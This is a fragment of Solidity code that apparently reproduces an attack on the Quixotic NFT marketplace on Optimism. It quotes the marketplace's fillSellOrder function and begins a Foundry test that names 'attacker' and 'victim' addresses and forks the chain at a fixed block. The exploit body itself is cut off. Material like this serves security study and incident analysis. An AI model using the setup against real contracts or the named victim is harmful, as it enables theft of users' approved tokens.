function fillSellOrder(....) external payable whenNotPaused nonReentrant { // If the payment ERC20 is the zero address, we check that enough native ETH has been sent // with the transaction. Otherwise, we use the supplied ERC20 payment token. if (paymentERC20 == address(0)) { require(msg.value >= price, "Transaction doesn't have the required ETH amount."); } else { _checkValidERC20Payment(buyer, price, paymentERC20); }
SellOrder memory sellOrder = SellOrder(....);
// Make sure the order is not cancelled require( cancellationRegistry.getSellOrderCancellationBlockNumber(seller, contractAddress, tokenId) < createdAtBlockNumber, "This order has been cancelled." );
// Check signature require(_validateSellerSignature(sellOrder, signature), "Signature is not valid for SellOrder."); ...... _fillSellOrder(sellOrder, buyer); }
NFTContract public nftHelper; IQuixotic public quixotic = IQuixotic(address(0x065e8A87b8F11aED6fAcf9447aBe5E8C5D7502b6)); IERC20 public op = IERC20(0x4200000000000000000000000000000000000042);
address public attacker = 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf; address public victim = 0x4D9618239044A2aB2581f0Cc954D28873AFA4D7B;
function setUp() public { vm.createSelectFork("optimism", 13_591_382); nftHelper = new NFTContract();